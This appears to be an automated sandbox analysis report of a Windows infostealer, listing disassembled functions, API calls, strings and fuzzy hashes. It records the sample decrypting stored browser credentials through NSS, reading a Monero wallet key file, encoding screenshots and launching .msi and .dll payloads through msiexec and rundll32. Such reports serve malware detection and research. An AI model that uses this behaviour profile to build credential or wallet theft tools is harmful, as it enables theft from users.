GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

GetWindowDC, xrefs: 6C6B5710
GetMonitorInfoW, xrefs: 6C6B57A2
EnableNonClientDpiScaling, xrefs: 6C6B5666
ReleaseDC, xrefs: 6C6B5742
AreDpiAwarenessContextsEqual, xrefs: 6C6B5637
CreateWindowExW, xrefs: 6C6B56C5
user32, xrefs: 6C6B5601
DeleteObject, xrefs: 6C6B57F9
ShowWindow, xrefs: 6C6B56DE
StretchDIBits, xrefs: 6C6B57CC
GetThreadDpiAwarenessContext, xrefs: 6C6B562D
SetWindowPos, xrefs: 6C6B56F7
MonitorFromWindow, xrefs: 6C6B578D
LoadIconW, xrefs: 6C6B575B
SetWindowLongPtrW, xrefs: 6C6B57B7
FillRect, xrefs: 6C6B5729
RegisterClassW, xrefs: 6C6B56AC
LoadCursorW, xrefs: 6C6B5774
CreateSolidBrush, xrefs: 6C6B57E4
gdi32, xrefs: 6C6B560A
GetDpiForWindow, xrefs: 6C6B5690
GetSystemMetricsForDpi, xrefs: 6C6B5677

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

screenshots, xrefs: 6C69CCD4
samplingallthreads, xrefs: 6C69CE2C
leaf, xrefs: 6C69CC66
preferencereads, xrefs: 6C69CD92
java, xrefs: 6C69CC37
mainthreadio, xrefs: 6C69CC7C
stackwalk, xrefs: 6C69CCF8
Unrecognized feature "%s"., xrefs: 6C69CEA0
jsallocations, xrefs: 6C69CD0E
nostacksampling, xrefs: 6C69CD7C
fileioall, xrefs: 6C69CCA8
fileio, xrefs: 6C69CC92
processcpu, xrefs: 6C69CE6E
markersallthreads, xrefs: 6C69CE42
power, xrefs: 6C69CE84
seqstyle, xrefs: 6C69CCE6
audiocallbacktracing, xrefs: 6C69CDD4
default, xrefs: 6C69CC21
ipcmessages, xrefs: 6C69CDBE
cpuallthreads, xrefs: 6C69CE16
noiostacks, xrefs: 6C69CCBE
nativeallocations, xrefs: 6C69CDA8
notimerresolutionchange, xrefs: 6C69CE00
unregisteredthreads, xrefs: 6C69CE58

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C664470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

kernel32.dll, xrefs: 6C6644CD
l, xrefs: 6C664578
WRusr.dll, xrefs: 6C6644B5
NativeNtBlockSet_Write, xrefs: 6C6646F7
Gml, xrefs: 6C6644FC
user32.dll, xrefs: 6C664557, 6C66463F

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-884719140
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 0006C990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0006C9A5

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00D7CEB0,00000000,?,0008144C,00000000,?,?), ref: 0006CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0006CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0006CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0006CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0006CAD9
StrStrA.SHLWAPI(?,00D7CEF8,00080B52), ref: 0006CAF7
StrStrA.SHLWAPI(00000000,00D7CE50), ref: 0006CB1E
StrStrA.SHLWAPI(?,00D7D4B8,00000000,?,00081458,00000000,?,00000000,00000000,?,00D789B0,00000000,?,00081454,00000000,?), ref: 0006CCA2
StrStrA.SHLWAPI(00000000,00D7D3F8), ref: 0006CCB9

Part of subcall function 0006C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0006C871
Part of subcall function 0006C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0006C87C
Part of subcall function 0006C820: PK11_GetInternalKeySlot.NSS3 ref: 0006C88A
Part of subcall function 0006C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0006C8A5
Part of subcall function 0006C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0006C8EB
Part of subcall function 0006C820: PK11_FreeSlot.NSS3(?), ref: 0006C961

StrStrA.SHLWAPI(?,00D7D3F8,00000000,?,0008145C,00000000,?,00000000,00D789C0), ref: 0006CD5A
StrStrA.SHLWAPI(00000000,00D78AB0), ref: 0006CD71

Part of subcall function 0006C820: lstrcat.KERNEL32(?,00080B46), ref: 0006C943
Part of subcall function 0006C820: lstrcat.KERNEL32(?,00080B47), ref: 0006C957
Part of subcall function 0006C820: lstrcat.KERNEL32(?,00080B4E), ref: 0006C978

lstrlen.KERNEL32(00000000), ref: 0006CE44
CloseHandle.KERNEL32(00000000), ref: 0006CE9C
NSS_Shutdown.NSS3 ref: 0006CEAA

Strings

, xrefs: 0006C9C6

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: 55da6b141b4f8dfd885a44aea1bc75897f9fdb30cb1a072c113ace34fb730765
Instruction ID: fa557c178461ef0354712f6fbd910e1f15cb395f385d0352824eea3bbeb8c776
Opcode Fuzzy Hash: 55da6b141b4f8dfd885a44aea1bc75897f9fdb30cb1a072c113ace34fb730765
Instruction Fuzzy Hash: 22E13071E00108ABDB54EBA0DC95FEEB778BF55300F408159F11A67192EF386A4ACF66

Function 00079010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0007906C

Strings

image/jpeg, xrefs: 00079136

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 96a8953f107051bb58c15d08f5a418c5ad6c3c6b13e911a8756bfe78df92ebcc
Instruction ID: 5f4bddfedd16cc25ce4fcbcef79846e6dbb48be121cd9d5c4328a3ed25eacfb3
Opcode Fuzzy Hash: 96a8953f107051bb58c15d08f5a418c5ad6c3c6b13e911a8756bfe78df92ebcc
Instruction Fuzzy Hash: FC71CB75910208EFDB14EBE4EC89FEEB7B9BF48700F148508F516A7291DB38A905CB61

Function 6C6AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 000717A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 000717C5
ExitProcess.KERNEL32 ref: 000717D1

Strings

block, xrefs: 000717B7

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 7341dbe210c4eeed814172e0df4386983a8e649c469ef90c0c8ac7a146a0e0c7
Instruction ID: 2cca444d8e09146152316e1c3ae23787e816ea69c77f2dc3e78d77b9f628ac83
Opcode Fuzzy Hash: 7341dbe210c4eeed814172e0df4386983a8e649c469ef90c0c8ac7a146a0e0c7
Instruction Fuzzy Hash: 4A516074E04209EFDB54DFA4D958AFE77B5BF44704F10C048E5096B280DB78E946CB66

Function 00072E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

ShellExecuteEx.SHELL32(0000003C), ref: 000731C5
ShellExecuteEx.SHELL32(0000003C), ref: 0007335D
ShellExecuteEx.SHELL32(0000003C), ref: 000734EA

Strings

C:\Windows\system32\msiexec.exe, xrefs: 000734BF
.msi, xrefs: 00073398
/passive, xrefs: 0007345B
<, xrefs: 00073490
/i ", xrefs: 000733E4
.dll, xrefs: 000731E5
C:\Windows\system32\rundll32.exe, xrefs: 00073332
"" , xrefs: 0007309A

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
